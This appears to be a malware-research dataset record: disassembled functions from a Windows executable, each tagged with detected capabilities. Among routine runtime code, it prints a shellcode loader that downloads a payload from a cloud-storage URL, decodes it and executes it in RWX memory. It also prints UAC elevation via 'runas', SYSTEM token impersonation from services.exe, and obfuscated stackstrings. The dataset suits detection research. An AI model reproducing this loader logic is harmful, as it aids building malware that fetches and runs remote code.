joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000111c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r12
push r13
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
xor r12d, r12d
xor eax, eax
lock cmpxchg qword [0x140005080], rdi
je 0x14000116a
cmp rax, rdi
jne 0x14000115d
mov edi, 1
mov r12d, edi
jmp 0x14000116f
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001141
mov edi, 1
mov eax, dword [0x140005078]
cmp eax, edi
jne 0x140001185
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x1400011e2
mov eax, dword [0x140005078]
test eax, eax
jne 0x1400011dc
mov dword [0x140005078], edi
lea r13, [0x140003238]
lea rsi, [0x140003220]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
cmp rsi, r13
jae 0x1400011ce
test eax, eax
jne 0x1400011ce
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400011c3
call rcx
mov dword [rsp + 0x20], eax
add rsi, 8
mov qword [rsp + 0x28], rsi
jmp 0x1400011ac
test eax, eax
je 0x1400011e2
mov eax, 0xff
jmp 0x1400012b4
mov dword [0x140005044], edi
mov eax, dword [0x140005078]
cmp eax, edi
jne 0x140001209
lea rdx, [0x140003218]
lea rcx, [0x140003208]
call sub.msvcrt.dll__initterm
mov dword [0x140005078], 2
test r12d, r12d
jne 0x140001217
xor eax, eax
xchg qword [0x140005080], rax
cmp qword [0x140005088], 0
je 0x140001240
lea rcx, [0x140005088]
call fcn.140001488
test eax, eax
je 0x140001240
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x140005088]
mov r8, qword [0x140005028]
mov rdx, qword [0x140005030]
mov ecx, dword [0x140005020]
call fcn.140001ab4
mov dword [0x140005040], eax
cmp dword [0x140005024], 0
jne 0x140001270
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140005044], 0
jne 0x140001285
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140005040]
jmp 0x1400012b4
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
add rsp, 0x30
pop r13
ret
sub rsp, 0x28
call fcn.140001570
add rsp, 0x28
jmp 0x14000111c

Function at 0x1400014d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x14000151d
cmp rcx, 0xffffffffffffffff
je 0x14000151d
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140001515
cmp dword [rcx + 0x3c], edx
jl 0x140001515
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140001515
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000151d
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001f3c
Capabilities:
Enumerate processes on remote desktop session host

Disassembly:
push rbp
push rbx
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x38
and qword [rbp + 0x38], 0
lea rax, [rbp + 0x28]
and dword [rbp + 0x28], 0
lea r9, [rbp + 0x38]
mov esi, 1
mov qword [rsp + 0x20], rax
mov r8d, esi
xor edx, edx
xor ecx, ecx
or edi, 0xffffffff
call qword [sym.imp.WTSAPI32.dll_WTSEnumerateProcessesW]
test eax, eax
je 0x140001fd3
mov eax, dword [rbp + 0x28]
test eax, eax
mov rbx, qword [rbp + 0x38]
je 0x140001fc9
cmp dword [rbx], 0
jne 0x140001fba
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x140001fba
lea rcx, str.services.exe
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
jne 0x140001fb7
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140001fb7
lea edx, [rax + 0x16]
call qword [sym.imp.ADVAPI32.dll_IsWellKnownSid]
test eax, eax
jne 0x140001fc6
mov eax, dword [rbp + 0x28]
add rbx, 0x18
add eax, 0xffffffff
mov dword [rbp + 0x28], eax
jmp 0x140001f80
mov edi, dword [rbx + 4]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
xor ecx, ecx
mov qword [rbp + 0x30], rcx
cmp edi, 0xffffffff
je 0x140002053
mov r8d, edi
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000204f
and qword [rbp + 0x40], 0
lea r8, [rbp + 0x40]
mov edi, 2
mov rcx, rax
mov edx, edi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140002046
mov rcx, qword [rbp + 0x40]
lea rax, [rbp + 0x30]
mov qword [rsp + 0x28], rax
lea edx, [rdi + 0x22]
mov r9d, edi
mov dword [rsp + 0x20], edi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
neg eax
sbb rcx, rcx
and qword [rbp + 0x30], rcx
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x14000208c
lea rdx, str.SeAssignPrimaryTokenPrivilege
call fcn.140001e60
test eax, eax
je 0x140002078
mov rdx, qword [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_SetThreadToken]
test eax, eax
jne 0x14000207a
xor esi, esi
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x14000208c
xor eax, eax
jmp 0x1400020a8
call qword [sym.imp.msvcrt.dll___iob_func]
lea rdx, str._E__Failed_to_create_system_context_n
lea rcx, [rax + 0x60]
call qword [sym.imp.msvcrt.dll_fwprintf]
mov eax, 5
add rsp, 0x38
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400054e0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400054f0]
mov dword [rax], 1
mov rax, qword [0x140005500]
mov dword [rax], 1
mov rax, qword [0x140005460]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400054d0]
mov dword [0x14000800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400055a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140005580]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140005440]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140002330
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x1400023a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140008094]
mov rbx, rcx
test esi, esi
jle 0x1400024d0
mov rax, qword [0x140008098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400023eb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002475
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400023d0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1400024f2
mov rax, qword [0x140008098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140008098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400024d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000246e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140002480
add dword [0x140008094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140008098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000246e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400023f8
mov rax, qword [0x140008098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002a80
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x140002adc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002ad3
test eax, eax
jne 0x140002ad3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002ab8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002cf0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002d08
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002d10
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002d20
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x140002d6d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002d64
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140002d6f
add rax, 0x28
cmp rax, r9
jne 0x140002d50
xor eax, eax
ret

Function at 0x140002d70
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002e00
mov rdx, qword [0x140005460]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140002dee
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140002dee
cmp word [rax + 0x18], 0x20b
jne 0x140002dee
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002e00
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002dd9
add rbx, 0x28
cmp rbx, rdi
je 0x140002e00
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002dd0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002e10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005460]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002e30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002e38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002e30
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002e8d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002e84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002e30
add rax, 0x28
cmp rax, r9
jne 0x140002e70
xor eax, eax
ret

Function at 0x140002e90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005460]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002eaf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002eb8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002eaf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002ed0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140005460]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002ef0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002ef8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002ef0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002f40
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002f37
test rcx, rcx
je 0x140002ef0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002f28
xor eax, eax
ret
Function at 0x140002f50
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005460]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002f6f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002f78
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002f90
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005460]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002fb0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002fb8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002fb0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002fb0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140003004
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140003010
add rdx, 0x28
cmp rdx, r9
jne 0x140002ff0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140003020
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140005460]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140003042
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140003050
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003042
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140003042
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140003042
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400030a5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400030b8
add rdx, 0x28
cmp r10, rdx
jne 0x140003090
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400030c7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400030d7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400030ae
test ecx, ecx
jg 0x1400030c0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400019c0
Capabilities:
Get token membership

Disassembly:
sub rsp, 0x88
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x60], 0
mov byte [rsp + 0x64], 0
mov byte [rsp + 0x65], 0
mov byte [rsp + 0x66], 0
mov byte [rsp + 0x67], 0
mov byte [rsp + 0x68], 0
mov byte [rsp + 0x69], 5
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rsp + 0x64]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x140001a53
xor eax, eax
jmp 0x140001a80
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140001a71
mov dword [rsp + 0x60], 0
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
add rsp, 0x88
ret

Function at 0x140001a90
Capabilities:
Create process on windows

Disassembly:
push rdi
sub rsp, 0x1b0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400019c0
test eax, eax
jne 0x140001b41
mov r8d, 0x104
lea rdx, [rsp + 0xa0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001b41
mov dword [rsp + 0x30], 0x70
lea rax, [rsp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, str.runas
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x60], 1
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001b3a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x4c7
jne 0x140001b38
xor ecx, ecx
call fcn.140002f88
jmp 0x140001b41
xor ecx, ecx
call fcn.140002f88
add rsp, 0x1b0
pop rdi
ret
Function at 0x140001bb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [rsp + 0x60]
mov qword [rsp], rax
mov rax, qword [rsp]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x28]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x10]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x10]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x18], rax
mov qword [rsp + 8], 0
jmp 0x140001c5a
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
mov rax, qword [rsp + 0x10]
mov eax, dword [rax + 0x18]
cmp qword [rsp + 8], rax
jae 0x140001ce1
mov rax, qword [rsp + 0x18]
mov rcx, qword [rsp + 8]
movzx eax, word [rax + rcx*2]
mov rcx, qword [rsp + 0x38]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
lea rcx, [0x140017530]
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x140001ccc
inc rax
test dl, dl
jne 0x140001cb9
xor eax, eax
jmp 0x140001cd1
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140001cdc
mov rax, qword [rsp + 0x40]
jmp 0x140001ce1
jmp 0x140001c4d
add rsp, 0x58
ret
Function at 0x140001cf0
Capabilities:
Check if file exists
Get file attributes
Read file on windows

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x98
cmp dword [0x14001b8fc], 2
jle 0x140001ed4
call fcn.140001a90
lea rcx, str.5.txt
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140001d45
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.5.txt
lea rdx, str.https:__wwwasqwwqasadqwe137_1328290122.cos.ap_shanghai.myqcloud.com_137.txt
xor ecx, ecx
call qword [0x14001cb60]
mov dword [rsp + 0x78], eax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140017540]
lea rcx, str.5.txt
call fcn.140002244
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140001d87
mov rcx, qword [0x14001cb58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x140001ed9
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x30]
call fcn.140002950
mov rcx, qword [rsp + 0x30]
call fcn.14000284c
cdqe
mov qword [rsp + 0x40], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x30]
call fcn.140002950
mov rcx, qword [rsp + 0x40]
call fcn.1400020b4
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x140001df1
mov rcx, qword [rsp + 0x30]
call fcn.140002a40
mov rcx, qword [0x14001cb58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x140001ed9
mov r9, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov edx, 1
mov rcx, qword [rsp + 0x38]
call fcn.140002470
mov rcx, qword [rsp + 0x30]
call fcn.140002a40
lea r8, str.XDCY1XD
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call fcn.1400018f0
call fcn.140001b50
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
call fcn.140001bb0
mov qword [rsp + 0x50], rax
lea rdx, str.VirtualProtect
mov rcx, qword [rsp + 0x48]
call qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
lea rdx, str.CreateThread
mov rcx, qword [rsp + 0x48]
call qword [rsp + 0x50]
mov qword [rsp + 0x60], rax
lea rdx, str.WaitForSingleObject
mov rcx, qword [rsp + 0x48]
call qword [rsp + 0x50]
mov qword [rsp + 0x80], rax
lea r9, [rsp + 0x68]
mov r8d, 0x40
mov edx, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [rsp + 0x58]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0x80]
mov eax, 1
add rsp, 0x98
ret

Function at 0x1400020a0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret

Function at 0x140002f88
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140002df0
Function at 0x140001a1e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov r12, rcx
test edx, edx
je 0x140001b92
mov r13d, edx
mov edi, 0
lea r14, [0x140001530]
lea rbx, [0x1405b75a1]
jmp 0x140001a84
mov byte [0x1405b75a1], 0
mov edx, esi
sar edx, 0x1f
shr edx, 0x1b
lea eax, [rsi + rdx]
and eax, 0x1f
sub eax, edx
cdqe
lea rdx, [0x1405b7580]
xor bpl, byte [rdx + rax]
mov byte [r12 + rdi], bpl
add rdi, 1
cmp r13, rdi
je 0x140001b92
mov esi, edi
movzx ebp, byte [r12 + rdi]
mov byte [rsp + 0x20], 0x84
mov byte [rsp + 0x21], 0x79
mov byte [rsp + 0x22], 0x75
mov byte [rsp + 0x23], 0x7c
mov byte [rsp + 0x24], pe_nt_image_headers64
mov byte [rsp + 0x25], 0x82
mov byte [rsp + 0x26], pe_nt_image_headers64
mov byte [rsp + 0x27], 0x8d
mov byte [rsp + 0x28], 0x83
mov byte [rsp + 0x29], pe_nt_image_headers64
mov byte [rsp + 0x2a], 0x76
mov byte [rsp + 0x2b], 0x87
mov byte [rsp + 0x2c], 0x84
mov byte [rsp + 0x2d], 0x85
mov byte [rsp + 0x2e], 0x77
mov byte [rsp + 0x2f], 0x74
mov byte [rsp + 0x30], 0x77
mov byte [rsp + 0x31], 0x82
mov byte [rsp + 0x32], 0x88
mov byte [rsp + 0x33], 0x78
mov byte [rsp + 0x34], 0x76
mov byte [rsp + 0x35], 0x82
mov byte [rsp + 0x36], 0x7a
mov byte [rsp + 0x37], 0x74
mov byte [rsp + 0x38], 0x88
mov byte [rsp + 0x39], 0x86
mov byte [rsp + 0x3a], 0x7e
mov byte [rsp + 0x3b], pe_nt_image_headers64
mov byte [rsp + 0x3c], 0x7f
mov byte [rsp + 0x3d], 0x8c
mov byte [rsp + 0x3e], 0x7d
mov byte [rsp + 0x3f], 0x79
mov byte [rsp + 0x40], 0x13
cmp byte [0x1405b7560], 0
jne 0x140001b6d
mov byte [0x1405b75a1], 1
mov eax, 0
lea rcx, [0x1405b7580]
movzx edx, byte [rsp + rax + 0x20]
mov byte [rcx + rax], dl
add rax, 1
cmp rax, 0x21
jne 0x140001b4c
mov byte [0x1405b7560], 1
mov rcx, r14
call fcn.1400014f0
cmp byte [0x1405b75a1], 0
je 0x140001a56
lea rax, [0x1405b7580]
sub byte [rax], 0x13
add rax, 1
cmp rbx, rax
jne 0x140001b81
jmp 0x140001a4f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret